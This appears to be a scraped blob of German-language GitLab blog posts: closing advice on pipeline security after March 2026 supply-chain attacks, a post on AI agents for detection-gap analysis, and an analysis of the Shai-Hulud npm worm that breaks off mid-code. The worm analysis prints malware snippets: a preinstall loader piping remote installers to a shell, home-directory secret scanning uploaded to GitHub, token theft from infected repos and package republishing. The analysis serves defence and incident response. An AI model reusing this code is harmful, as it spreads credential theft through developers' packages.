Supply-Chain-Sicherheitsfunktionen in GitLab härten die Policy-Durchsetzung an zwei kritischen Kontrollpunkten: der Registry und der Pipeline. Die Dependency Firewall und Artifact Registry werden nicht-konforme Pakete blockieren, während die SLSA-Level-3-Attestation kryptografischen Nachweis liefert, dass Artefakte von genehmigten Pipelines erzeugt wurden und unverändert geblieben sind. Zusammen geben sie Security-Teams verifizierbare Kontrolle darüber, was in die Software-Supply-Chain eingeht und diese verlässt.\n\n\n## Was das für deine Organisation bedeutet\n\n\nInmitten zunehmender AI-gestützter Bedrohungen werden Angriffe auf CI/CD-Pipelines alltäglich. Die TeamPCP-Kampagne zeigt, wie ein einziges kompromittiertes Zugangsdaten-Set über ein Ökosystem vertrauenswürdiger Tools kaskadieren kann.\n\n\nWenn deine Organisation eine der betroffenen Komponenten eingesetzt hat, gehe davon aus, dass alle Pipeline-Secrets kompromittiert wurden: Rotiere sie umgehend und überprüfe Systeme auf persistente Backdoors. Unabhängig davon begrenzt die regelmäßige Rotation von Zugangsdaten und die Verwendung kurzlebiger Tokens den Blast-Radius jeder zukünftigen Kompromittierung.\n\n\nFolgendes empfehlen wir:\n\n\n1. **Dependencies wenn möglich an Prüfsummen pinnen.** Veränderliche Versions-Tags (wie die, die TeamPCP gekapert hat) sind keine Sicherheitsgrenze. SHA-gepinnte Referenzen für alle [CI/CD-Komponenten](https://docs.gitlab.com/ci/components/#manage-dependencies) oder Actions und Container-Images verwenden.\n\n\n2. **Pre-Execution-Integritätsprüfungen ausführen.** Pipeline Execution Policies nutzen, um die Integrität von Tools und Dependencies *vor* der Ausführung jedes Pipeline-Jobs zu verifizieren. Das ist die `.pipeline-policy-pre`-Stage.\n\n\n3. **Prüfen, was veröffentlicht wird.** Jeder Package-Publish-Schritt sollte eine automatisierte Validierung des Artefaktinhalts umfassen. Source Maps, Environment-Dateien und interne Konfigurationen sollten die Build-Umgebung niemals verlassen. Das [Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)-Projekt bietet einen sofort einsetzbaren Ausgangspunkt für npm-, Docker- und Helm-Artefakte.\n\n\n4. **Dependency-Drift erkennen.** Dependency-Auflösungen bei jedem Pipeline-Lauf gegen committete Lockfiles vergleichen. Auf unerwartete neue Dependencies achten.\n\n\n5. **Policy-Management zentralisieren.** Sich nicht darauf verlassen, dass Entwicklungsteams daran denken, Security-Checks einzubinden. Diese auf Gruppen- oder Instanzebene über Policies durchsetzen, die nicht entfernt oder übersprungen werden können.\n\n\n6. **Davon ausgehen, dass Security-Tools selbst Ziele sind.** Wenn dein Vulnerability-Scanner, SAST-Tool oder AI-Gateway kompromittiert werden kann, wird es das auch. Jedes Tool auf die minimal notwendigen Berechtigungen beschränken und sicherstellen, dass es auf nichts anderes zugreifen kann.\n\n\n## Schütze deine Pipelines mit GitLab\n\n\nInnerhalb von zwei Wochen kompromittierten Angreifer Produktions-Pipelines bei Organisationen, die einige der am weitesten verbreiteten Tools im Software-Entwicklungs-Ökosystem einsetzten.\n\n\nDie Lektion ist klar: Build-Pipelines brauchen denselben Grad an zentralem, Policy-gesteuertem Schutz, den wir auf Netzwerke und Cloud-Infrastruktur anwenden.\n\n\nGitLab Pipeline Execution Policies bieten diese Enforcement-Schicht. Sie stellen sicher, dass Security-Checks in jeder Pipeline und in jedem Projekt ausgeführt werden – unabhängig von den einzelnen Projektkonfigurationen. In Kombination mit Dependency Scanning, Secret Detection und Merge-Request-Approval-Policies können sie die Angriffsklassen, die wir im März 2026 erlebt haben, blockieren, erkennen und eindämmen.\n\n\nDas [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)-Projekt bietet eine funktionsfähige Pipeline Execution Policy, die genau die Fehlerklasse abfängt, die hinter dem Leak des großen AI-Unternehmens steckt – mit Abdeckung für npm-Pakete, Docker-Images und Helm-Charts. Klone es, deploye es in deiner Gruppe und stelle sicher, dass alle deine Pipelines für kommende Supply-Chain-Angriffe gewappnet sind.\n\n\nUm mit zentralen Pipeline-Policies zu starten, registriere dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/devsecops/).\n\n\n\n*Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen\" im Sinne von Abschnitt 27A des Securities Act von 1933 in der jeweils gültigen Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir davon ausgehen, dass die in diesen Aussagen wiedergegebenen Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren finden sich unter der Überschrift „Risk Factors\" in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu revidieren, sofern dies nicht gesetzlich vorgeschrieben ist.*\n","Pipeline-Sicherheit: Lehren aus den Supply-Chain-Angriffen im März","Erfahre, wie zentrale Pipeline-Policies die Angriffsmuster hinter einer Reihe aktueller Supply-Chain-Attacken erkennen und blockieren können.",[758,746,853,788],[1187],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png",{"featured":645,"template":796,"slug":1190},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":1192,"config":1202},{"body":1193,"category":770,"date":1194,"tags":1195,"title":1197,"description":1198,"authors":1199,"heroImage":1201},"Nach einem Vorfall stellt sich jeder Incident-Response- und Security-Operations-Bereich dieselbe unbequeme Frage: Was haben wir übersehen, und warum? Eine gründliche Antwort erfordert echte Arbeit – jemand muss die Incident-Timeline durcharbeiten, die Angreiferaktionen auf Erkennungsmöglichkeiten mappen, die Alarme identifizieren, die hätten ausgelöst werden sollen, und diese Erkenntnisse in konkrete Verbesserungen übersetzen. Manuell durchgeführt ist das zeitaufwändig, inkonsistent und leicht zu deprioritisieren, wenn der nächste Vorfall bereits vor der Tür steht.\n\nDas Signals Engineering Team bei GitLab ist verantwortlich für den Aufbau und die Pflege der Erkennungsregeln, die die Plattform und das Unternehmen schützen. Wir kennen das Detection-Gap-Problem aus eigener Erfahrung und haben die Gap-Analyse mit dem [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/) automatisiert, um unsere Bewertung dieser Lücken und deren Schließung zu verbessern.\n\nIn diesem Artikel beschreiben wir unseren Ansatz – mit zwei KI-Agenten, die sich in der eigenen Umgebung einsetzen lassen: dem integrierten Security Analyst Agent und einem selbst entwickelten Agent namens Detection Engineering Assistant.\n\n## Das Detection-Gap-Problem\n\nEine Detection Gap ist genau das, was der Name vermuten lässt: Ein Angreifer hat eine Aktion durchgeführt, und die eigenen Erkennungsregeln haben sie nicht erfasst. Gap-Analyse ist der Prozess, bei dem Sicherheitsvorfälle systematisch ausgewertet werden, um diese verpassten Erkennungsmöglichkeiten zu identifizieren und festzulegen, welche neuen oder verbesserten Regeln die Lücken schließen würden.\n\nDie Herausforderung liegt nicht im konzeptionellen Verständnis. Sie liegt darin, dass die Analyse ein sorgfältiges, methodisches Durcharbeiten von Incident-Daten erfordert und die Ereignisse mit der eigenen Erkennungsabdeckung abgeglichen werden müssen. Bei einem einzelnen Vorfall gelingt das einer erfahrenen Analystin oder einem erfahrenen Analysten gut. Über einen kontinuierlichen Strom von Vorfällen hinweg, mit mehreren beteiligten Engineers, ist Konsistenz schwer aufrechtzuerhalten – die Auswertung wird leicht oberflächlich.\n\nZiel war ein Prozess, der reproduzierbar, gründlich und direkt in dem Workflow verankert ist, in dem Sicherheitsvorfälle bereits dokumentiert werden: GitLab Issues.\n\n## Was ist GitLab Duo Agent Platform?\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-is-generally-available/) ist GitLabs Framework zum Aufbau und Betrieb von KI-Agenten, die eigenständig planen, Aktionen ausführen und nativ mit GitLab-Ressourcen wie Issues, Merge Requests und Code interagieren. Anders als ein einfaches Chat-Interface lassen sich Agenten in Duo Agent Platform mit spezifischen Rollen, Domänenwissen und Werkzeugzugang ausstatten – und sind dadurch für domänenspezifische Workflows wie Security Operations geeignet.\n\nDuo Agent Platform bietet zwei Wege:\n\n1. **Vordefinierten Agent nutzen** – GitLab liefert mehrere fertig konfigurierte Agenten aus, darunter einen Security Analyst Agent für sicherheitsbezogene Aufgaben.\n2. **Eigenen Agent entwickeln** – Ein benutzerdefinierter Agent lässt sich in wenigen Minuten erstellen: Name, Beschreibung und System-Prompt genügen. Der System-Prompt ist dabei das eigentliche Herzstück.\n\nBeide Wege sind für die Detection-Gap-Analyse geeignet.\n\n## 1. Security Analyst Agent\n\nDer einfachste Einstieg ist der [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/), der mit Sicherheits-Domänenwissen vorkonfiguriert ist und direkt aus einem GitLab Issue aufgerufen werden kann.\n\nFür die Gap-Analyse navigieren wir zu einem abgeschlossenen Incident-Issue und bitten den Agent, Beschreibung, Timeline, Aufgaben und Kommentare auf fehlende oder unzureichende Erkennungsregeln zu prüfen. Der Agent liest den gesamten Issue-Inhalt – einschließlich Kommentare, verknüpfte Artefakte und Timeline-Details – und leitet daraus potenzielle Lücken ab. Er kann nicht erkannte Taktiken, Techniken und Vorgehensweisen (TTPs) auf MITRE ATT&CK mappen und Bereiche vorschlagen, in denen neue Erkennungsregeln die Abdeckung verbessern würden.\n\nDas eignet sich gut für einen ersten Durchgang, insbesondere wenn Incident-Issues gut dokumentiert sind. Der Security Analyst Agent verfügt über Wissen zu allgemeinen Sicherheitskonzepten, typischen Angreiferverhalten und Erkennungsprinzipien. Für Teams, die mit KI-gestütztem Betrieb beginnen, bietet er sofortigen Mehrwert ohne Konfigurationsaufwand.\n\nAllerdings kennt der vordefinierte Agent die spezifische Umgebung nicht – das eigene SIEM, die Log-Quellen, den Detection Stack oder die teameigenen Detection-Engineering-Standards. Die Empfehlungen sind zwar fachlich korrekt, treffen aber manchmal nicht den konkreten Kontext, der für umsetzbare Erkennungsregeln erforderlich ist. Das war der Ausgangspunkt für die Entwicklung eines eigenen Agents.\n\n## 2. Den Detection Engineering Assistant entwickeln\n\n[Einen benutzerdefinierten Agent in GitLab Duo Agent Platform zu erstellen](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/) ist unkompliziert. Im Duo Agent Platform Interface wird dem Agent ein Name gegeben (bei uns: **Detection Engineering Assistant**), eine kurze Beschreibung und ein System-Prompt. Damit ist der Agent einsatzbereit.\n\nDer System-Prompt ist der entscheidende Teil. Er ist die Wissensbasis des Agents: alles, was er über das Team, die Umgebung, die Standards und die eigene Arbeitsweise wissen soll. Ein dünner, vager System-Prompt liefert dünne, vage Ergebnisse. Ein ausführlicher, sorgfältig ausgearbeiteter System-Prompt erzeugt einen Agent, der sich wie ein fachkundiges Teammitglied verhält.\n\nSo sind wir beim Schreiben des System-Prompts für den Detection Engineering Assistant vorgegangen:\n\n### Rolle und Aufgabenbereich klar definieren\n\nDer System-Prompt beginnt damit, dem Agent genau mitzuteilen, was er ist und wofür er verantwortlich ist – nicht nur „du bist ein Security Analyst\", sondern konkret: „Du bist der Detection Engineering Assistant für GitLabs Signals Engineering Team, verantwortlich für die Analyse von Sicherheitsvorfällen und die Identifizierung von Lücken in unserer Erkennungsabdeckung.\" Diese Rahmung verankert jede Antwort des Agents.\n\n### Erkennungsphilosophie kodieren\n\nWir haben festgehalten, was für uns eine gute Erkennung ausmacht: niedrige False-Positive-Rate, hohe Signalqualität und umsetzbare Alarme, die Responders den notwendigen Kontext liefern. Außerdem haben wir unsere Präferenz für verhaltensbasierte Erkennungen gegenüber IOC-basierten Erkennungen beschrieben und wie wir den Zielkonflikt zwischen Abdeckungsbreite und Alert-Fatigue abwägen.\n\n### Tech-Stack und Log-Quellen als Kontext mitgeben\n\nEin Agent kann nur empfehlen, was tatsächlich umsetzbar ist. Wir haben dem Agent mitgeteilt, welche Log-Quellen wir erfassen, wie unser SIEM aufgebaut ist und welche Daten verfügbar sind. Damit empfiehlt er neue Erkennungsregeln in Bezug auf das, was wir tatsächlich implementieren können – nicht auf Basis hypothetischer Telemetrie.\n\n### In MITRE ATT&CK verankern\n\nDer Agent wurde angewiesen, Gap-Findings anhand von ATT&CK-Taktiken und -Techniken zu strukturieren. Das liefert konsistente, strukturierte Ausgaben, die direkt auf unser internes Coverage-Tracking mappen und die Priorisierung der zu schließenden Lücken vereinfachen.\n\n### Ausgabeformat festlegen\n\nWir haben genau vorgegeben, was der Agent produzieren soll: eine strukturierte Liste von Detection Gaps, jeweils mit der relevanten ATT&CK-Technik, einer Beschreibung des Versäumten, der Log-Quelle oder den Daten, die eine Erkennung ermöglichen würden, sowie einem empfohlenen Ansatz. Ein einheitliches Ausgabeformat erleichtert die Triage und die Überführung in Engineering-Aufgaben.\n\n### Beispiel-System-Prompt\n\n*Hinweis: Unser vollständiger System-Prompt für den Detection Engineering Assistant umfasst 1.870 Wörter und 337 Zeilen. Das folgende Beispiel zeigt nur einen kleinen Ausschnitt.*\n\n```text\nDu bist der Detection Engineering Assistant für GitLabs Security Operations Team. Deine Aufgabe: abgeschlossene Incidents analysieren und Lücken in unserer Detection-Coverage identifizieren.\n\nBeim Review eines Incidents:\n1. Identifiziere jede Angreifer-Aktion oder -Technik aus der Incident-Timeline\n2. Bewerte für jede Aktion, ob unsere bestehenden Detections sie erfasst hätten\n3. Dokumentiere nicht erkannte Aktionen als Detection Gap\n\nFür jeden Gap:\n- MITRE ATT&CK Technique ID und Name (z. B. T1078 – Valid Accounts)\n- Kurze Beschreibung: was passierte, warum nicht erkannt\n- Log-Quelle oder Telemetrie, die einen Detection-Ansatz ermöglichen würde (z. B. Auth-Logs, Process-Execution-Events, Netzwerkflüsse)\n- Empfohlener Detection-Ansatz, umsetzbar in unserem SIEM\n\nUnser SIEM erfasst [Log-Quellen]. Wir bevorzugen verhaltensbasierte Detections gegenüber statischen IOCs. Keine Empfehlungen, die ohne soliden Tuning-Pfad zu erheblichen False Positives führen...\n```\n\nEin so spezifischer System-Prompt liefert deutlich nützlichere Ergebnisse als ein generischer. Der Agent gibt keine allgemeinen Sicherheitsempfehlungen mehr, sondern konkrete Detection-Engineering-Empfehlungen.\n\n## Gap-Analyse an Vorfällen durchführen\n\nMit dem konfigurierten Detection Engineering Assistant ist der Workflow unkompliziert. Nach Abschluss eines Vorfalls wird der Assistant aus dem Incident-Issue in GitLab aufgerufen. Er liest den gesamten Issue – Zusammenfassung, Timeline, Ermittlungsnotizen und verknüpfte Ressourcen – und gibt eine strukturierte Gap-Analyse zurück.\n\nEine typische Ausgabe sieht so aus:\n\n**Gap: Laterale Bewegung über gültige Credentials nicht erkannt**\n\n* **ATT&CK:** T1078.004 – Valid Accounts: Cloud Accounts\n* **Was passierte:** Ein Angreifer verwendete ein gültiges Access Token, um sich bei einer zusätzlichen GitLab-Instanz zu authentifizieren. Kein Alarm wurde ausgelöst, da Authentifizierungs-Baseline-Erkennungen für diese Instanz fehlten.\n* **Log-Quelle:** Authentifizierungslogs von `example.gitlab.com`\n* **Empfohlener Ansatz:** Erkennung erstellen, die bei erstmaliger Authentifizierung eines Nutzerkontos bei `example.gitlab.com` innerhalb eines 90-Tage-Rollfensters auslöst, mit Unterdrückung für Konten mit etablierten Zugriffsmustern.\n\nDiese Art strukturierter Ausgabe fließt direkt in den Engineering-Backlog. Der Agent liefert einen hochwertigen ersten Entwurf – ein Engineer prüft die Findings, verifiziert, ob Lücken bereits durch undokumentierte Erkennungsregeln abgedeckt sind, und ergänzt Kontext, bevor daraus ein Engineering-Issue wird. Die aufwändige Arbeit des Durchlesens und der initialen Analyse ist automatisiert.\n\n## Was wir gelernt haben\n\nDrei Erkenntnisse aus dem Aufbau und der Weiterentwicklung dieses Workflows:\n\n**Der System-Prompt ist ein lebendes Dokument** – Jedes Mal, wenn der Agent eine offensichtliche Lücke übersieht oder das Framing nicht stimmt, wird der Prompt aktualisiert. Die Qualität des Agents spiegelt direkt wider, wie gut das Domänenwissen darin kodiert ist.\n\n**Die Qualität der Incident-Dokumentation ist entscheidend** – Ein Agent kann nur über das urteilen, was aufgeschrieben ist. Vorfälle mit detaillierten, strukturierten Timelines liefern deutlich bessere Gap-Analysen als knappe oder informelle Dokumentationen. Der Aufbau des Gap-Analyse-Workflows hatte einen unerwarteten Nebeneffekt: Er gab uns einen konkreten Grund, unsere Dokumentationsstandards für Vorfälle zu verbessern.\n\n**Das ist ein Kraftmultiplikator, kein Ersatz** – Der Detection Engineering Assistant ersetzt keine erfahrene Detection Engineerin und keinen erfahrenen Detection Engineer, verstärkt deren Wirkung jedoch. Der Mensch prüft die Findings, bewertet die Empfehlungen und trifft die finale Entscheidung darüber, was in den Backlog kommt. Der Aufwand für die initiale Analyse sinkt dabei deutlich, und die Konsistenz über Vorfälle hinweg steigt.\n\n## Einstieg\n\nWer einen eigenen Detection-Gap-Analyse-Agenten entwickeln möchte:\n\n1. Die letzten drei bis fünf abgeschlossenen Vorfälle durchsehen und festhalten, was eine gründliche Gap-Analyse jeweils zutage gefördert hätte.\n2. Aus diesen Beobachtungen einen System-Prompt entwickeln, der die eigene Umgebung, Standards und das gewünschte Ausgabeformat kodiert.\n3. Einen [benutzerdefinierten Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/custom/) in GitLab Duo Agent Platform mit diesem Prompt erstellen.\n4. Den Agent gegen einen der Vorfälle laufen lassen und den Prompt auf Basis der Ausgabe iterieren.\n\nDas Detection-Gap-Problem besteht weiterhin. Mit GitLab Duo Agent Platform lässt sich die Analyse jedoch reproduzierbar und konsistent gestalten – direkt dort, wo die Security-Arbeit bereits stattfindet.\n\n> **[GitLab Duo Agent Platform kostenlos testen](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/)**\n","2026-03-10",[758,1196,853,806,788,746,823],"security research","Detection-Gaps automatisch analysieren mit GitLab Duo Agent Platform","GitLab zeigt, wie zwei KI-Agenten die Gap-Analyse nach Sicherheitsvorfällen reproduzierbar und konsistent machen – direkt im GitLab-Workflow.",[1200],"Matt Coons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773147991/op5xyroonltdwqix0x3u.png",{"featured":13,"template":796,"slug":1203},"automating-detection-gap-analysis-with-gitlab-duo-agent-platform",{"content":1205,"config":1215},{"title":1206,"description":1207,"heroImage":1208,"body":1209,"date":1210,"category":770,"tags":1211,"authors":1212},"GitLab identifiziert aktiven Lieferketten-Angriff auf npm","Tutorial zur systematischen Bedrohungsanalyse mit IoC-Tabelle für sofortige Überprüfung deutscher Systeme. Koordinierte Reaktion erforderlich.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabs Vulnerability-Research-Team hat einen großflächigen aktiven Lieferketten-Angriff auf das npm-Ökosystem identifiziert. Die Bedrohung involviert eine hochentwickelte Malware-Variante mit destruktiven Fähigkeiten. Das interne Monitoring-System entdeckte mehrere infizierte Pakete mit einer weiterentwickelten Version der \"[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)\"-Malware.\n\nDie Analyse zeigt wurmartige Verbreitungsmechanismen, die automatisch weitere Pakete infizieren, die von betroffenen Entwicklerinnen und Entwicklern verwaltet werden. Am kritischsten ist die Entdeckung eines **\"Dead-Man's-Switch\"-Mechanismus**: Falls die Verbreitungs- und Exfiltrationskanäle der Malware gekappt werden, droht die Zerstörung von Nutzerdaten.\n\n**GitLab verwendet keine der schadhaften Pakete. Diese Erkenntnisse werden mit der Security-Community geteilt, um eine wirksame Reaktion zu ermöglichen.**\n\n## NIS2-Relevanz und Meldepflichten\n\nDieser Supply-Chain-Angriff fällt unter die NIS2-Richtlinie Artikel 21 (Cybersecurity-Risikomanagement-Maßnahmen) und Artikel 23 (Meldepflichten). Wesentliche und wichtige Einrichtungen in Deutschland müssen bei erkannten Kompromittierungen:\n\n- **Innerhalb 24 Stunden** eine Früherkennung an zuständige Behörden übermitteln\n- Systematische Risikobewertung der eigenen Lieferkette durchführen\n- Technische und organisatorische Maßnahmen zur Schwachstellenerkennung implementieren\n\nDSGVO Artikel 32 ist ebenfalls relevant: Die Credential-Exfiltration durch diese Malware stellt unbefugten Zugang zu personenbezogenen Daten dar und erfordert angemessene technische Sicherheitsmaßnahmen.\n\n## Reaktions-Checkliste für deutsche Unternehmen\n\n**Sofortige Überprüfung (innerhalb 1-2 Stunden):**\n\n1. **npm-Pakete scannen**: `npm audit` in allen Projekten ausführen\n2. **Filesystem-Scan**: Suche nach IoC-Indikatoren (siehe Tabelle unten)\n3. **GitHub-Repository-Check**: Suche nach \"Sha1-Hulud: The Second Coming\" in Beschreibungen\n4. **Token-Audit**: Überprüfung aller npm- und GitHub-Tokens auf unbefugte Zugriffe\n\n**Systematische Analyse (24-48 Stunden):**\n\n1. Prüfung aller `package.json`-Dateien auf `preinstall`-Scripts mit Bun-Installationen\n2. Netzwerkverkehr-Analyse auf Verbindungen zu unbekannten GitHub-Repositories\n3. Credential-Management-Review gemäß DSGVO Artikel 32\n\n**Koordinierte Reaktion:** Vermeidung von massenhafter Token-Sperrung ohne Abstimmung – der Dead-Man's-Switch könnte Datenverlust auf Tausenden Systemen auslösen.\n\n## Anatomie des Angriffs\n\nDas interne Monitoring-System, das Open-Source-Paket-Registries auf schädliche Pakete scannt, identifizierte mehrere npm-Pakete mit hochentwickelter Malware. Diese führt aus:\n\n- Harvesting von Credentials (GitHub, npm, AWS, GCP, Azure)\n- Exfiltration gestohlener Daten zu Attacker-kontrollierten GitHub-Repositories\n- Automatische Propagierung durch Infektion weiterer Pakete der Opfer\n- **Destruktive Payload, die bei Infrastruktur-Verlust aktiviert wird**\n\nMehrere infizierte Pakete sind bestätigt. Der wurmartige Propagierungsmechanismus bedeutet, dass viele weitere Pakete kompromittiert sein dürften. Die Untersuchung läuft, um den vollständigen Umfang zu erfassen.\n\n## Technische Analyse: Systematischer Bedrohungsverlauf\n\n![Mermaid-Chart des Angriffsverlaufs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\nDie systematische Analyse des Bedrohungsverlaufs zeigt sieben distinkte Stufen: Von der initialen Infektion über Credential-Harvesting und Exfiltration bis zur Supply-Chain-Propagierung. Der Dead-Man's-Switch bildet eine Entscheidungsverzweigung: Bei Infrastruktur-Zugriff erfolgt Exfiltration, bei Verlust beider Kanäle (GitHub und npm) wird Datenzerstörung ausgelöst.\n\nDiese systematische Darstellung ermöglicht es deutschen Sicherheitsteams, an mehreren Punkten der Kill Chain Detektionsmaßnahmen zu implementieren – ein Ansatz, der mit NIS2 Artikel 21 (mehrschichtige Sicherheitsmaßnahmen) harmoniert.\n\n### Initialer Infektionsvektor\n\nDie Malware infiltriert Systeme durch einen sorgfältig konzipierten mehrstufigen Ladeprozess. Infizierte Pakete enthalten eine modifizierte `package.json` mit einem Preinstall-Script, das auf `setup_bun.js` verweist. Dieses Loader-Script erscheint harmlos – es gibt vor, die Bun-JavaScript-Runtime zu installieren, ein legitimes Werkzeug. Der tatsächliche Zweck ist jedoch die Etablierung der Malware-Ausführungsumgebung.\n\n```javascript\n// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Lädt und installiert Bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Führt die eigentliche Malware aus\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nDer `setup_bun.js`-Loader lädt die Bun-Runtime oder lokalisiert sie auf dem System, führt dann die gebündelte `bun_environment.js`-Payload aus – eine 10 MB große obfuskierte Datei, die bereits im infizierten Paket vorhanden ist. Dieser Ansatz bietet mehrere Evasion-Schichten: Der initiale Loader ist klein und scheinbar legitim, während der eigentliche schädliche Code stark obfuskiert und in eine Datei gebündelt ist, die für beiläufige Inspektion zu groß ist.\n\n**ISO 27001 A.12.6-Relevanz:** Diese Evasion-Technik unterstreicht die Notwendigkeit systematischer Preinstall-Script-Überprüfung. Deutsche Unternehmen sollten CI/CD-Pipelines so konfigurieren, dass unerwartete Runtime-Downloads während Paket-Installationen gemeldet werden.\n\n### Credential-Harvesting\n\nNach Ausführung beginnt die Malware sofort mit Credential-Discovery über mehrere Quellen:\n\n- **GitHub-Tokens**: Suche in Umgebungsvariablen und GitHub-CLI-Konfigurationen nach Tokens beginnend mit `ghp_` (GitHub Personal Access Token) oder `gho_` (GitHub OAuth Token)\n- **Cloud-Credentials**: Enumeration von AWS-, GCP- und Azure-Credentials mittels offizieller SDKs, Prüfung von Umgebungsvariablen, Config-Dateien und Metadaten-Services\n- **npm-Tokens**: Extraktion von Tokens für Paket-Publishing aus `.npmrc`-Dateien und Umgebungsvariablen – gängige Speicherorte für sicher abgelegte sensible Konfigurationen und Credentials\n- **Filesystem-Scanning**: Download und Ausführung von Trufflehog, einem legitimen Security-Tool, um das gesamte Home-Verzeichnis nach API-Keys, Passwörtern und anderen Secrets in Konfigurationsdateien, Quellcode oder Git-History zu durchsuchen\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scannt das Home-Verzeichnis auf Secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Lädt Funde zum Exfiltrations-Repository hoch\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n**DSGVO Artikel 32-Implikation:** Diese umfassende Credential-Exfiltration stellt einen Fall von \"unbefugtem Zugang zu personenbezogenen Daten\" dar, wie in DSGVO Artikel 32 Absatz 2 beschrieben. Organisationen müssen technische Maßnahmen implementieren, um Credentials vom Filesystem zu isolieren – beispielsweise durch Nutzung von Secrets-Management-Systemen statt Umgebungsvariablen.\n\n### Exfiltrations-Netzwerk\n\nDie Malware nutzt gestohlene GitHub-Tokens, um öffentliche Repositories mit einer spezifischen Markierung in deren Beschreibung zu erstellen: \"Sha1-Hulud: The Second Coming.\" Diese Repositories dienen als Dropboxes für gestohlene Credentials und Systeminformationen.\n\n```javascript\nasync function createRepo(name) {\n  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Markierung zum späteren Auffinden\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Installiert GitHub-Actions-Runner für Persistenz\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installiert Self-Hosted-Runner\n  }\n\n  return repo;\n}\n```\n\n**Systematische Detektionsmöglichkeit:** Die explizite Markierung \"Sha1-Hulud: The Second Coming\" ermöglicht deutschen Sicherheitsteams eine reproduzierbare Suchmethode. Durch GitHub-Suche nach dieser exakten Zeichenfolge lassen sich kompromittierte Developer-Accounts systematisch identifizieren – ein Ansatz, der mit NIS2 Artikel 21 (Fähigkeit zur systematischen Vorfallserkennung) harmoniert.\n\nKritisch: Falls das initiale GitHub-Token unzureichende Berechtigungen besitzt, durchsucht die Malware andere kompromittierte Repositories mit derselben Markierung, um Tokens von anderen infizierten Systemen abzurufen. Dies schafft ein resilientes Botnet-artiges Netzwerk, in dem kompromittierte Systeme Access-Tokens teilen.\n\n```javascript\n// Token-Sharing im Malware-Netzwerk:\nasync fetchToken() {\n  // Suche auf GitHub nach Repositories mit Identifikations-Markierung\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Versuch, Tokens aus kompromittierten Repos abzurufen\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Token von anderem infizierten System nutzen\n    }\n  }\n  return null;  // Keine gültigen Tokens im Netzwerk gefunden\n}\n```\n\n**NIS2 Artikel 22-Relevanz:** Dieses selbstheilende Netzwerk erfordert koordinierte Sicherheits-Risikobewertungen kritischer Lieferketten. Einzelne Token-Sperrungen sind unzureichend – eine systematische, abgestimmte Reaktion ist erforderlich, um das Netzwerk zu stören, ohne den Dead-Man's-Switch auszulösen.\n\n### Supply-Chain-Propagierung\n\nMittels gestohlener npm-Tokens führt die Malware aus:\n\n1. Download aller vom Opfer verwalteten Pakete\n2. Injektion des `setup_bun.js`-Loaders in die Preinstall-Scripts jedes Pakets\n3. Bundling der schadhaften `bun_environment.js`-Payload\n4. Inkrementierung der Paket-Versionsnummer\n5. Republishing der infizierten Pakete zu npm\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download Original-Paket\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extraktion und Modifikation von package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Hinzufügen schadhaften Preinstall-Scripts\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Inkrementierung Version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundling Backdoor-Installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackaging und Publishing\n  await Bun.$`npm publish 